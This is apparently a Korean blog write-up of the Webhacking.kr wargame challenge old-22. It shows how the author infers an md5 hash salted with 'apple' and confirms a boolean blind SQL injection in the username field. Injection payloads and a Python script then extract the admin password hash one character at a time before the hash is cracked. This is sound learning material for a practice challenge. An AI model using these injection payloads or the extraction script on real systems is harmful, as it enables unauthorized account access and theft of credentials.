ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Webhacking.kr> old-22
    Wargame/Webhacking.kr 2021. 12. 5. 17:41

    old-22

    가입과 로그인을 할 수 있는 폼이 있다.

    'admin'으로 로그인하라고 한다.

     

    'guest/guest'로 가입하고 계정이 이미 존재한다고 한다.

    'guest'로 로그인해보면

    비밀번호 해시값이 출력된다.

    이 해시값이 32자리인 것으로 보아 md5가 적용되있는 것 같다.

    해시값을 md5 decrypt 사이트를 통해 해시되기 전 값을 구해보면 'guestapple'이 출력된다.

    그럼 'woong/abc'로 가입하고 로그인해보면

    해시되기 전 값을 구해보면

    'abcapple'이 출력된다.

     

    즉, password hash값은 'apple'을 salt값으로 사용하여 '{pw}+apple'을 md5로 해시한 값임을 알 수 있다.

     

    ※ md5는 단방향 해시함수이므로 복호화가 불가능하지만 여러 단어의 해시값을 미리 DB에 저장해서 그때그때 비교해서 찾을 수 있다. 따라서, 사이트별로 해시되기 전 값을 찾을 수도 찾지 못할 수도 있다.

     

    username 칸에 ' or 1=1#을 입력하면

    "wrong password"를 출력한다.

     

    ' or 1=2#을 입력하면

    "Login Fail"을 출력한다.

    이를 통해 참일 땐 "wrong password"를, 거짓일 땐 "Login Fail"을 출력하는 것을 알 수 있다.

     

    ■password 해시값의 길이 구하기

    name을 알기 위해 페이지 소스 코드를 먼저 살펴본다.

    username 칸에 admin' and length(pw) > 32#를 입력하면

    username 칸에 admin' and length(pw) > 31#를 입력하면

    이를 통해 password의 해시 값의 길이가 32인 것을 확인할 수 있다.

     

     

    ■password 해시값 구하기

    username 칸에 admin' and ascii(substr(pw, 1, 1)) = 54#를 입력하면

    password가 6으로 시작하는 것을 알 수 있다.

    파이썬 코드를 통해 나머지 글자들도 찾아보면

    import requests
    
    url = "https://webhacking.kr/challenge/bonus-2/"
    cookies = {"PHPSESSID" : "PHPSESSID 값"}
    pw = ""
    want_str = "Wrong password!"
    
    for i in range(1, 33):
        for j in range(33, 127):
            data = {
                "uuid" : "admin' and ascii(substr(pw,{},1))={}#".format(i,j),
                "pw" : ""
            }
            res = requests.post(url, data=data, cookies=cookies)
    
            if want_str in res.text:
                pw += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    print("pw : ", pw)

     

    이 해시값을 md5 decrypt 사이트를 통해 해시되기 전 값을 찾아보면

    즉 password는 'wow'인 것을 알 수 있다.

    그럼 'admin/wow'로 로그인해보면

    문제를 해결할 수 있다.

    'Wargame > Webhacking.kr' 카테고리의 다른 글

    <Webhacking.kr> old-23  (0) 2021.12.06
    <Webhacking.kr> old-24  (0) 2021.12.06
    <Webhacking.kr> old-21  (0) 2021.12.03
    <Webhacking.kr> old-20  (0) 2021.12.02
    <Webhacking.kr> old-19  (0) 2021.12.01
Designed by Tistory.